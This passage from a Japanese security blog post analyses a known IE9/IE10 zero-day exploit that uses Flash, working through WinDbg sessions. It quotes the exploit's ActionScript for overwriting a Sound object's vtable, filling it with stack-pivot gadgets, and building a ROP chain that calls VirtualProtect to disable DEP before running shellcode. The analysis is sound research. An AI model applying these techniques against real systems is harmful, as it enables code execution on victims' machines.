253b3024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253b8024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253bd024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253c2024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253c7024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253cc024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253d1024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253d6024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$

たくさん見つかりました。そのすべての下位バイトが 24 なので全部当たりのようです。

0:028> dd 253b3000-20
253b2fe0  00000000 00000000 00000000 00000000
253b2ff0  00000000 00000000 00000000 00000000
253b3000  00010c00 00004fe0 07c53000 07c47068
253b3010  24c3f000 253b3018 00000010 00000000
253b3020  70bb557c 00001234 24c3f021 24c3f021
253b3030  24c3f021 24c3f021 24c3f021 24c3f021
253b3040  24c3f021 24c3f021 24c3f021 24c3f021
253b3050  24c3f021 24c3f021 24c3f021 24c3f021
0:028> dd 253b8000-20
253b7fe0  00000000 00000000 00000000 00000000
253b7ff0  00000000 00000000 00000000 00000000
253b8000  00010c00 00004fe0 07c53000 07c47068
253b8010  253b3000 253b8018 00000010 00000000
253b8020  70bb557c 00001234 24c3f021 24c3f021
253b8030  24c3f021 24c3f021 24c3f021 24c3f021
253b8040  24c3f021 24c3f021 24c3f021 24c3f021
253b8050  24c3f021 24c3f021 24c3f021 24c3f021

ActionScript 上のオブジェクトが Windows 上でどうやって見えるか、という点については後で真面目に調べるとして、少なくとも 0x1234 という比較的特徴のある値が構造に含まれていることを根拠として、init_heap() で作成した Sound オブジェクトの配列である可能性が極めて高いと考えられます。さらに、どの構造においても 0x1234 の後に 24c3f021 という同じ値が繰り返し現れており、24c3f021 とは Sound オブジェクトそのものと考えるのが自然です。というわけで、soundobjref には Sound オブジェクトへのポインターとなる値 (上記例では 24c3f021) が入ります。+0x0A のところは B でも C でもよい、ということになります。

soundobjref = this.s[index][j+0x0A];
dec = soundobjref-cvaddr-1;
this.s[index][dec/4-2] = cvaddr+2*4+4*4;

次の 2 つの文でいよいよ vtable を書き換えます。

this.s[index][dec/4-2]
⇔ this.s[index][( soundobjref-cvaddr-1)/4-2]
⇔ this.s[index][( soundobjref-0x1a001000-1)/4-2]
⇔ this.s[index][(soundobjref-1-0x1a001008)/4]

代入文の左辺は上記のように変形できるので、これは soundobjref-1 のアドレスに cvaddr+2*4+4*4 というアドレスを代入する文です。-1 って何だ、となりますが、上記例では Sound オブジェクトへのポインターとなる値が 24c3f021 となっていて、それを調整するためなのだろうとは推測できます。常に -1 しておけば問題ないのかどうか、どういう意味があるのか、については Flash の仕組みがまだ分からないので、深追いはせず保留です。

書き換えている部分は Sound オブジェクトの先頭のアドレスです。書き換わる前の状態を見てみると、確かに vtable です。下記の例だと24c3f020 のアドレスの 70b3438c となっている部分がcvaddr+2*4+4*4 = 1a001018 という値で置き換わります。

0:028> dd 24c3f020
24c3f020  70b3438c 400000ff 07f38f38 07fef298
24c3f030  00000000 00000000 07fb0430 00000000
0:028> dd 70b3438c
70b3438c  705ab130 70595440 701bfe10 705acca0
70b3439c  705ae4e0 70932300 70931c20 70932110
70b343ac  70932b20 70931ff0 70932750 709322b0
70b343bc  70932bf0 709323b0 70932d10 70932040
70b343cc  709327d0 70932630 70932d80 70931f80
70b343dc  70932830 70931e60 70932f30 70931b90
70b343ec  7095b000 709329d0 70932a30 70932a00
70b343fc  70931af0 7015d3d0 709328d0 7015d3d0
0:028> u 705ab130
Flash!DllUnregisterServer+0x147790:
705ab130 55              push    ebp
705ab131 8bec            mov     ebp,esp
705ab133 56              push    esi
705ab134 8bf1            mov     esi,ecx
705ab136 e845fcffff      call    Flash!DllUnregisterServer+0x1473e0 (705aad80)
705ab13b f6450801        test    byte ptr [ebp+8],1
705ab13f 8bc6            mov     eax,esi
705ab141 7414            je      Flash!DllUnregisterServer+0x1477b7 (705ab157)

1a001018 というアドレスは、偽の vtable になる部分で、これを作っているのが次のループです。sp は Stack Pivot のコードがあるアドレスです。this.s[index] は 1a001008 から始まるので、そこから 0x200*size(uint) バイトは、Stack Pivot のアドレスで埋まります。当然、1a001018 として設定された Sound オブジェクトの vtable は、ほぼ全部 Stack Pivot のアドレスで埋まることになります。こうすることで、Sound.toString() に限らず、大抵のメソッドを呼んでも Stack Pivot のコードが呼ばれることになります。

/*  Stack pivot */
for (i=0; i < 0x200; i++)
  this.s[index][i] = sp;

しかし、Stack Pivot として C394 が適切であると判断するためには、やはり Sound.toString() を実行したときにどのような命令が実行されるのかを知っている必要があります。なぜなら、Stack Pivot の効果は、eax レジスタのアドレスにあるアドレスにジャンプするというものだったので、ROP を成功させるためには、vtable 内のアドレスを call するときに eax に入っている値を制御できている必要があるからです。exploit を書く立場から考えると、Sound.toString() を選び、vtable のアドレスを呼ぶ近傍の命令からどのレジスターを制御できるかを考え、最後に Stack Pivot となる命令を選ぶ、という流れになるはずです。

ActionScript のコードを少し編集して、Stack Pivot の部分を C394 ではなく、int 3 を含む CCCC というコードを探索するようにして実行してみました。仮想テーブルからジャンプした後にブレークするので、ごにょごにょとデバッガー コマンドを叩いて情報を集めます。

0:005> r
eax=1a001018 ebx=028eb8e0 ecx=241ff020 edx=07f3df20 esi=70185d60 edi=07fce810
eip=6f8e1fc8 esp=028eb830 ebp=028eb838 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200200
Flash+0x1fc8:
6f8e1fc8 cc              int     3
0:005> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
028eb838 70185d70 Flash+0x1fc8
028eb844 7019dd98 Flash!IAEModule_AEModule_PutKernel+0x2e3690
028eb8a0 7019eb48 Flash!IAEModule_AEModule_PutKernel+0x2fb6b8
028eb950 7019df11 Flash!IAEModule_AEModule_PutKernel+0x2fc468
028eb974 7019e3d7 Flash!IAEModule_AEModule_PutKernel+0x2fb831
028eb9cc 7019ec4c Flash!IAEModule_AEModule_PutKernel+0x2fbcf7
028eb9e8 7019d833 Flash!IAEModule_AEModule_PutKernel+0x2fc56c
028eba34 701c4882 Flash!IAEModule_AEModule_PutKernel+0x2fb153
028eba58 70186a37 Flash!IAEModule_AEModule_PutKernel+0x3221a2
028eba74 7019dd98 Flash!IAEModule_AEModule_PutKernel+0x2e4357
028ebad0 7019df11 Flash!IAEModule_AEModule_PutKernel+0x2fb6b8
028ebaf4 7019e3d7 Flash!IAEModule_AEModule_PutKernel+0x2fb831
028ebb4c 7019ec4c Flash!IAEModule_AEModule_PutKernel+0x2fbcf7
028ebb68 701b08f6 Flash!IAEModule_AEModule_PutKernel+0x2fc56c
028ebb84 701b2df7 Flash!IAEModule_AEModule_PutKernel+0x30e216
028ebc60 7019eb48 Flash!IAEModule_AEModule_PutKernel+0x310717
028ebc64 08383d90 Flash!IAEModule_AEModule_PutKernel+0x2fc468
028ebc68 00000000 0x8383d90
0:005> dd esp
028eb830  70158fc5 07faeec8 028eb844 70185d70
028eb840  241ff021 028eb8a0 7019dd98 07faeec8
028eb850  00000001 028eb8e0 07fce810 07faeec8
028eb860  08340fa0 00000000 00000000 07fce810
028eb870  07faeec8 08046600 028eb8e8 00000000
028eb880  00000000 00000000 00000000 00000000
028eb890  00000000 00000007 00000000 ad5aa7aa
028eb8a0  028eb8c0 7019eb48 07faeec8 00000001
0:005> ub 70158fc5
Flash!IAEModule_AEModule_PutKernel+0x2b68d2:
70158fb2 2407            and     al,7
70158fb4 3c01            cmp     al,1
70158fb6 7512            jne     Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fb8 83f904          cmp     ecx,4
70158fbb 720d            jb      Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fbd 83e1f8          and     ecx,0FFFFFFF8h
70158fc0 8b01            mov     eax,dword ptr [ecx]
70158fc2 ff5078          call    dword ptr [eax+78h]

0:005> dd ecx l8
241ff020  1a001018 400000ff 0832ef38 08355d60
241ff030  00000000 00000000 083a23b0 00000000
0:005> dd 1a001018
1a001018  768d5994 1a001c08 1a001000 00004000
1a001028  00000040 1a002000 6f8e1fc8 6f8e1fc8
1a001038  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001048  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001058  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001068  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001078  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001088  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
0:005> ln 768d5994
(768d5994)   kernel32!VirtualProtectStub   |  (768d59a5)   kernel32!VirtualProtectExStub
Exact matches:
    kernel32!VirtualProtectStub (<no parameter info>)

この呼び出し部分のコードが今回の ROP の一番のポイントです。シンボルがない部分なので、デバッガーの k コマンドはうまく動きません。しかし、このタイミングで esp レジスターは正しいスタック アドレスを指しているので、esp の先頭が Stack Pivot からの呼び出し元に戻るアドレス、Sound.toString() を ActionScript から実行したときに Win32 プロセスが実際に実行する関数を示しています。これに対して ub コマンドを実行すると、呼び出し元のアセンブリを見ることができます。

call 命令は indirect call で、オペランドは eax+78h が参照するアドレスになっています。つまり eax が vtable で、オフセット +78 のエントリを実行するのだとわかります。もう少し前を見ると、eax は ecx のアドレスから mov されており、ecx はその前で FFFFFFF8 と AND されています。前述のデバッグ結果と照合すると、ecx は Sound オブジェクトへのポインターと考えられます。配列の構造の中に含まれていた値は下位バイトが 1 で、ActionScript では -1 して利用していましたが、ここは FFFFFFF8 と AND する方が正しいことになります。おそらく、下位 3bit は何らかの状態を表すフラグとして使われているのでしょう。

ブレーク時点での eax の値を見ると、確かに1a001018 です。もちろんこれは exploit の buildPayload() がセットした vtable の値が反映された結果です。1a001018 から 200 個の Stack Pivot のアドレスを埋めましたが、実際には 1a001018+78 の 1 つだけをセットしておけば 十分だったと分かります。いずれにしろ、これで eip は乗っ取ることができました。

実際の exploit は、Stack Pivotとして C394 を選び、eax と esp を交換した後、ret が実行されます。call dword ptr [eax+78h] を実行して Stack Pivot のコードに制御が移ってからも、まだ eax レジスターはの値 1a001018 のままです。ここで eax と esp を交換することで、eip に引き続いて esp も乗っ取ることができるのです。実に巧妙です。

特に、toString() によって呼ばれる命令が call dword ptr [eax+78h] であるところがよく考えられています。実際に使われる vtable のエントリーのオフセットは +78 なので、eax と esp を交換した後、esp の先頭から 78 バイトは vtable ではなくスタック領域として自由に使えることになります。もし call するアドレスが [eax] や [eax+10] だったら、できることが限られてしまいます。

さて、buildPayload() のコードで残っているのは、レジスターを交換した後に偽のスタックとなる領域を作成する部分と、ペイロードを埋め込むコードです。

var sh:uint=0x300;
(snip)

/* ROP */
this.s[index][0] = 0x41414141;
this.s[index][1] = 0x41414141;
this.s[index][2] = 0x41414141;
this.s[index][3] = 0x41414141;
this.s[index][4] = virtualprotectaddr;
this.s[index][5] = cvaddr+0xC00+8;
this.s[index][6] = cvaddr;
this.s[index][7] = 0x4000;
this.s[index][8] = 0x40;
this.s[index][9] = 0x1a002000;

/* Shellcode */
for(var u:String in shellcodeObj) {
  this.s[index][sh++] = Number(shellcodeObj[u]);
}

vtable、及び、交換後の esp は 1a001018、すなわち this.s[index][4] から始まります。よって先頭の 4 つは適当な値で埋めておきます。そのあとが、乗っ取られたあとのスタックです。[4] にセットしているのは前回頑張って PE イメージを解析して取得した VirtualProtect API の開始アドレスです。このアドレスが、Stack Pivot の ret 命令の後に実行されます。その後に続くのは、VirtualProtect に渡るパラメーターになります。

VirtualProtect の定義を MSDN で確認すると簡単に分かりますが、ここで指定されているパラメーターは、開始アドレス cvaddr+0xC00+8 から 0x4000 バイトの範囲に対して 0x40 という属性を設定するという意味を持ちます。0x40 はPAGE_EXECUTE_READWRITE という R/W/E 全てが可能な属性で、DEP を完全に無効化できます。開始アドレスの cvaddr+0xC00+8 は this.s[index][0xC00/4] = this.s[index][0x300] の場所を示しており、最後の for 文で埋め込んでいるペイロードの開始アドレスです。[9] の 0x1a002000 は、第4 引数のlpflOldProtect で、元のページ属性が保存されます。exploit には必要のない値ですが、MSDN によると、この値が NULL だったり無効なアドレスだと API が失敗するので、書き込み可能な適当なアドレスとして 0x1a002000 を選んで入れています。

最後は駆け足になった気がしますが、以上が exploit の全ての仕込みです。最後に Sound.toString() を呼ぶと、仕掛けが全部動いて、vtable → Stack Pivot → VirtualProtect → ペイロード、という順に落とし穴にハマっていきます。全貌は、スライドの図を改めてご覧ください。

偶然ですが、トレンドマイクロのブログ記事も見つかりました。この脆弱性、及び exploit は巷では相当有名なようですね。

Analysis of The Recent Zero-Day Vulnerability in IE9/IE10 | Security Intelligence Blog | Trend Micro
http://blog.trendmicro.com/trendlabs-security-intelligence/analysis-of-the-recent-zero-day-vulnerability-in-ie9ie10/

4. 残る疑問/宿題など

現時点でまだ分からないことのまとめ。時間があるときに調べます。むしろ誰か知っている人教えて下さい。

  • ASLR と、イメージのロードされるアドレスの制限について
    (2014-09-25 追記)
    下記 MSDN の ASLR の項目によると、DLL に関してはやはり下流の方の、範囲 16MB のところに制限されているらしい。
    Windows Administration: Inside the Windows Vista Kernel: Part 3
     http://technet.microsoft.com/en-us/magazine/2007.04.vistakernel.aspx?pr=blog
    ベースアドレスをばらつかせるメモリ マネージャー内のロジックはこれ・・・?もしやアセンブリ言語から C に変換したのだろうか。
    Positive Research Center: Windows 8 ASLR Internals
    http://blog.ptsecurity.com/2012/12/windows-8-aslr-internals.html
  • ActionScript のオブジェクトの構造について
    – 0x00010c00 の意味、その 32 バイト後にある vtable の謎
    – 配列の長さの後にある vtable は使えるのか
    – Sound オブジェクト関連の動作をどうやって事前に知るのか
    – Sound オブジェクト以外を使って ROP を開始してみる
  • JavaScript 側での細かい工夫をもう少し詳しく書いてみる
  • これまで使ってきたペイロードである meterpreter のデバッグ